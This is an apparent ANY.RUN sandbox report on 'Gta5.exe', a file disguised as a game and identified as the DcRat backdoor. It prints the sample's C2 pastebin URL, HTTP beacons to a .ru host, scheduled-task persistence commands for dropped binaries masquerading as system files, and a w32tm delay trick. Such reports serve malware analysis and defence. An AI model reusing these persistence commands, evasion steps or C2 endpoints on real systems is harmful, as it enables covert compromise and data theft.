File name:

Gta5.exe

Full analysis: https://app.any.run/tasks/d5f614b8-4501-4062-9be5-28ad5508a881
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: February 23, 2024, 14:38:09
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

85B9C69129033611E80201160FBB4333

SHA1:

B450466D76278E7C4EC868091232B143066E990A

SHA256:

2AAF16BD61C2AC065C81B7B23D73313191DB267A78A24164614525B017DF082D

SSDEEP:

24576:HZPrK87M5rSv0lvPZobtnZD560poTOCu8HsHJ+hi4RM/UoCLaNcy3p:HFrKj5G0lvhoVh560poTOCu8H2/zcOp

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • Gta5.exe (PID: 3668)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 3656)

    • Actions looks like stealing of personal data

      • csrss.exe (PID: 3472)

    • DCRAT has been detected (SURICATA)

      • csrss.exe (PID: 3472)

    • Connects to the CnC server

      • csrss.exe (PID: 3472)

    • DCRAT has been detected (YARA)

      • csrss.exe (PID: 3472)

  • SUSPICIOUS

    • Reads the Internet Settings

      • Gta5.exe (PID: 3668)
      • wscript.exe (PID: 3656)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • sipnotify.exe (PID: 1512)
      • csrss.exe (PID: 3472)

    • Reads security settings of Internet Explorer

      • Gta5.exe (PID: 3668)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)

    • Executable content was dropped or overwritten

      • Gta5.exe (PID: 3668)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 3656)
      • Providerbroker.exe (PID: 2844)
      • csrss.exe (PID: 3472)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 3656)
      • Providerbroker.exe (PID: 2844)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 3656)

    • Likely accesses (executes) a file from the Public directory

      • schtasks.exe (PID: 2636)
      • schtasks.exe (PID: 3212)
      • schtasks.exe (PID: 2340)
      • schtasks.exe (PID: 296)
      • schtasks.exe (PID: 1584)
      • schtasks.exe (PID: 2020)
      • schtasks.exe (PID: 4064)
      • schtasks.exe (PID: 3112)
      • schtasks.exe (PID: 2656)
      • csrss.exe (PID: 3472)

    • Executed via WMI

      • schtasks.exe (PID: 2636)
      • schtasks.exe (PID: 2292)
      • schtasks.exe (PID: 1696)
      • schtasks.exe (PID: 4008)
      • schtasks.exe (PID: 2340)
      • schtasks.exe (PID: 2896)
      • schtasks.exe (PID: 2692)
      • schtasks.exe (PID: 2648)
      • schtasks.exe (PID: 3276)
      • schtasks.exe (PID: 3940)
      • schtasks.exe (PID: 956)
      • schtasks.exe (PID: 2756)
      • schtasks.exe (PID: 1824)
      • schtasks.exe (PID: 696)
      • schtasks.exe (PID: 3516)
      • schtasks.exe (PID: 2372)
      • schtasks.exe (PID: 3212)
      • schtasks.exe (PID: 3508)
      • schtasks.exe (PID: 2184)
      • schtasks.exe (PID: 1844)
      • schtasks.exe (PID: 1992)
      • schtasks.exe (PID: 2432)
      • schtasks.exe (PID: 1572)
      • schtasks.exe (PID: 1860)
      • schtasks.exe (PID: 1336)
      • schtasks.exe (PID: 3072)
      • schtasks.exe (PID: 3324)
      • schtasks.exe (PID: 2724)
      • schtasks.exe (PID: 1308)
      • schtasks.exe (PID: 2804)
      • schtasks.exe (PID: 2244)
      • schtasks.exe (PID: 2788)
      • schtasks.exe (PID: 3404)
      • schtasks.exe (PID: 568)
      • schtasks.exe (PID: 2336)
      • schtasks.exe (PID: 1656)
      • schtasks.exe (PID: 3984)
      • schtasks.exe (PID: 1892)
      • schtasks.exe (PID: 2632)
      • schtasks.exe (PID: 2668)
      • schtasks.exe (PID: 1784)
      • schtasks.exe (PID: 2468)
      • schtasks.exe (PID: 296)
      • schtasks.exe (PID: 480)
      • schtasks.exe (PID: 2760)
      • schtasks.exe (PID: 2020)
      • schtasks.exe (PID: 1584)
      • schtasks.exe (PID: 2348)
      • schtasks.exe (PID: 2588)
      • schtasks.exe (PID: 1816)
      • schtasks.exe (PID: 2176)
      • schtasks.exe (PID: 1544)
      • schtasks.exe (PID: 448)
      • schtasks.exe (PID: 3336)
      • schtasks.exe (PID: 4080)
      • schtasks.exe (PID: 2984)
      • schtasks.exe (PID: 4064)
      • schtasks.exe (PID: 2404)
      • schtasks.exe (PID: 3112)
      • schtasks.exe (PID: 2192)
      • schtasks.exe (PID: 2656)
      • schtasks.exe (PID: 3808)
      • schtasks.exe (PID: 572)
      • schtasks.exe (PID: 1264)
      • schtasks.exe (PID: 1392)
      • schtasks.exe (PID: 1604)
      • schtasks.exe (PID: 2492)
      • schtasks.exe (PID: 4092)
      • schtasks.exe (PID: 2028)

    • The process creates files with name similar to system file names

      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)

    • Probably delay the execution using 'w32tm.exe'

      • cmd.exe (PID: 124)

    • Starts itself from another location

      • Providerbroker.exe (PID: 2344)

    • Reads settings of System Certificates

      • csrss.exe (PID: 3472)
      • sipnotify.exe (PID: 1512)

    • The process executes via Task Scheduler

      • sipnotify.exe (PID: 1512)
      • ctfmon.exe (PID: 1468)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 3756)

    • The system shut down or reboot

      • csrss.exe (PID: 3472)

  • INFO

    • Checks supported languages

      • Gta5.exe (PID: 3668)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)
      • IMEKLMG.EXE (PID: 1488)
      • IMEKLMG.EXE (PID: 116)
      • wmpnscfg.exe (PID: 2280)
      • wmpnscfg.exe (PID: 2300)

    • Reads the computer name

      • Gta5.exe (PID: 3668)
      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)
      • IMEKLMG.EXE (PID: 1488)
      • wmpnscfg.exe (PID: 2280)
      • wmpnscfg.exe (PID: 2300)
      • IMEKLMG.EXE (PID: 116)

    • Reads the machine GUID from the registry

      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)

    • Reads Environment values

      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)

    • Reads product name

      • Providerbroker.exe (PID: 2844)
      • Providerbroker.exe (PID: 2344)
      • csrss.exe (PID: 3472)

    • Create files in a temporary directory

      • Providerbroker.exe (PID: 2844)

    • Reads the software policy settings

      • csrss.exe (PID: 3472)
      • sipnotify.exe (PID: 1512)

    • Manual execution by a user

      • IMEKLMG.EXE (PID: 1488)
      • IMEKLMG.EXE (PID: 116)
      • wmpnscfg.exe (PID: 2280)
      • wmpnscfg.exe (PID: 2300)

    • Process checks whether UAC notifications are on

      • IMEKLMG.EXE (PID: 116)
      • IMEKLMG.EXE (PID: 1488)

    • Reads security settings of Internet Explorer

      • sipnotify.exe (PID: 1512)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(3472) csrss.exe
C2 (1)https://pastebin.com/raw/cRNWuKbz
Options
MutexDCR_MUTEX-jxzogANbYiyuRKIIi61M
searchpath%UsersFolder% - Fast
Targetals
No Malware configuration.

TRiD

.exe | Win32 Executable (generic) (52.9)
.exe | Generic Win/DOS Executable (23.5)
.exe | DOS Executable Generic (23.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2020:12:01 18:00:55+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14
CodeSize: 201216
InitializedDataSize: 255488
UninitializedDataSize: -
EntryPoint: 0x1ec40
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
174
Monitored processes
89
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start gta5.exe wscript.exe no specs cmd.exe no specs providerbroker.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs cmd.exe no specs w32tm.exe no specs providerbroker.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT csrss.exe cmd.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs shutdown.exe no specs ctfmon.exe no specs sipnotify.exe imeklmg.exe no specs imeklmg.exe no specs wmpnscfg.exe no specs wmpnscfg.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
116"C:\Program Files\Common Files\microsoft shared\IME14\SHARED\IMEKLMG.EXE" /SetPreload /KOR /LogC:\Program Files\Common Files\microsoft shared\IME14\SHARED\IMEKLMG.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Office IME 2010
Exit code:
1
Version:
14.0.4734.1000
Modules
Images
c:\program files\common files\microsoft shared\ime14\shared\imeklmg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\userenv.dll
124C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\okaRDu1Ov4.bat" "C:\Windows\System32\cmd.exe—Providerbroker.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
296schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Pictures\spoolsv.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
448schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\portcom\winlogon.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
480schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 13 /tr "'C:\portcom\winlogon.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
568schtasks.exe /create /tn "Providerbroker" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0015-0412-0000-0000000FF1CE}-C\Providerbroker.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
572schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 11 /tr "'C:\portcom\WmiPrvSE.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
696schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\portcom\smss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
956schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\portcom\smss.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1036w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 C:\Windows\System32\w32tm.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Time Service Diagnostic Tool
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\w32tm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
16 959
Read events
16 838
Write events
96
Delete events
25

Modification events

(PID) Process:(3668) Gta5.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3668) Gta5.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3668) Gta5.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3668) Gta5.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3656) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3656) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3656) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3656) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2844) Providerbroker.exeKey:HKEY_CURRENT_USER\Software\af971a728e4bd6579d9090698da0f2d0cc06d87c
Operation:writeName:a8cb8692500bad2caee1653b7e531a4c66234bb0
Value:
WyJDOlxccG9ydGNvbVxcUHJvdmlkZXJicm9rZXIuZXhlIiwiQzpcXFVzZXJzXFxQdWJsaWNcXE11c2ljXFxTYW1wbGUgTXVzaWNcXFByb3ZpZGVyYnJva2VyLmV4ZSIsIkM6XFxNU09DYWNoZVxcQWxsIFVzZXJzXFx7OTAxNDAwMDAtMDAxOC0wNDExLTAwMDAtMDAwMDAwMEZGMUNFfS1DXFxTZWFyY2hJbmRleGVyLmV4ZSIsIkM6XFxNU09DYWNoZVxcQWxsIFVzZXJzXFxJTUVESUNUVVBEQVRFLmV4ZSIsIkM6XFxXaW5kb3dzXFx0cmFjaW5nXFxQb3dlclRyYWNrZXJcXFNlYXJjaFByb3RvY29sSG9zdC5leGUiLCJDOlxccG9ydGNvbVxcc21zcy5leGUiLCJDOlxccG9ydGNvbVxcbHNtLmV4ZSIsIkM6XFxwb3J0Y29tXFx0YXNraG9zdC5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcezkwMTQwMDAwLTAwMTktMDQwOS0wMDAwLTAwMDAwMDBGRjFDRX0tQ1xcY3Nyc3MuZXhlIiwiQzpcXHBvcnRjb21cXG1zaWV4ZWMuZXhlIiwiQzpcXE1TT0NhY2hlXFxBbGwgVXNlcnNcXHs5MDE0MDAwMC0wMEExLTA0MTEtMDAwMC0wMDAwMDAwRkYxQ0V9LUNcXFByb3ZpZGVyYnJva2VyLmV4ZSIsIkM6XFxNU09DYWNoZVxcQWxsIFVzZXJzXFx7OTAxNDAwMDAtMDEwMC0wNDEwLTAwMDAtMDAwMDAwMEZGMUNFfS1DXFxsc2Fzcy5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcezkwMTQwMDAwLTAwMTUtMDQxMi0wMDAwLTAwMDAwMDBGRjFDRX0tQ1xcUHJvdmlkZXJicm9rZXIuZXhlIiwiQzpcXFVzZXJzXFxhZG1pblxcVmlkZW9zXFxleHBsb3Jlci5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcSU1FRElDVFVQREFURS5leGUiLCJDOlxcTVNPQ2FjaGVcXEFsbCBVc2Vyc1xcezkwMTQwMDAwLTAwMTktMDQxMC0wMDAwLTAwMDAwMDBGRjFDRX0tQ1xcc21zcy5leGUiLCJDOlxccG9ydGNvbVxcd2lubG9nb24uZXhlIiwiQzpcXFVzZXJzXFxQdWJsaWNcXFBpY3R1cmVzXFxzcG9vbHN2LmV4ZSIsIkM6XFxwb3J0Y29tXFxTZWFyY2hGaWx0ZXJIb3N0LmV4ZSJd
(PID) Process:(2844) Providerbroker.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
23
Suspicious files
1
Text files
30
Unknown types
1

Dropped files

PID
Process
Filename
Type
3668Gta5.exeC:\portcom\Providerbroker.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
3668Gta5.exeC:\portcom\MA8gxya0KpjJuUNmN3pS.vbevbe
MD5:0C20A1F689744A4328507635917963B2
SHA256:B60473E4CF37C2C70B209A9BE3B931EB85E3D905D403FCEB926178C6DD5AF72F
2844Providerbroker.exeC:\Users\Public\Music\Sample Music\6de26ae6effacftext
MD5:C5E9510B39C8CE7B2D9E5E7C75D80826
SHA256:B50C15B806AFC009DB7DAA1B79B1C5292E1DDB1F4B90CED8A145F92105A66AD0
2844Providerbroker.exeC:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\csrss.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
2844Providerbroker.exeC:\portcom\lsm.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
2844Providerbroker.exeC:\portcom\taskhost.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
2844Providerbroker.exeC:\portcom\101b941d020240text
MD5:7B3497885F0A567ADA4559DD4C7A068D
SHA256:1BC260CB9BB4CF009AF36DEA0B03A4C1E42AB66BAC7F936B071AE7890C21BD8A
2844Providerbroker.exeC:\portcom\b75386f1303e64text
MD5:A7743952827BCE1456A5E6263CC47369
SHA256:F37F43817AADFA8183EF624010E8A3B82743F89BFD31775ABB329F4BDA750419
2844Providerbroker.exeC:\portcom\msiexec.exeexecutable
MD5:F6402379C48E29069880AEC513B95367
SHA256:EEC87A0EED2F038F4146A1AFD38BB8544EF7A782CD17C792B672D664424A5D87
2844Providerbroker.exeC:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\886983d96e3d3etext
MD5:7162284EF9284D5B7DAD65567EC0E422
SHA256:99618F6153A2B0932C7BF831A5D997FA10FFF3937375194C02B49619772414C3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
52
TCP/UDP connections
14
DNS requests
3
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?eNYqScRhMIpkonNdIBE2vgs46g=yIGHUSRMT83mlQ4EoCrZu0Eyf7cD7&413cb1f7ec5868b1969297485a704f5f=739f6957224d46546a93b9c6db515fd1&8215bd871a8d1b9b1cd4a4c2e6126254=gMwUTM2YDZ3gjZhRjY3cTZmFWY2IDZxYWMilzYhdzN4ITM1ITZzkTN&eNYqScRhMIpkonNdIBE2vgs46g=yIGHUSRMT83mlQ4EoCrZu0Eyf7cD7
unknown
text
2.08 Kb
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
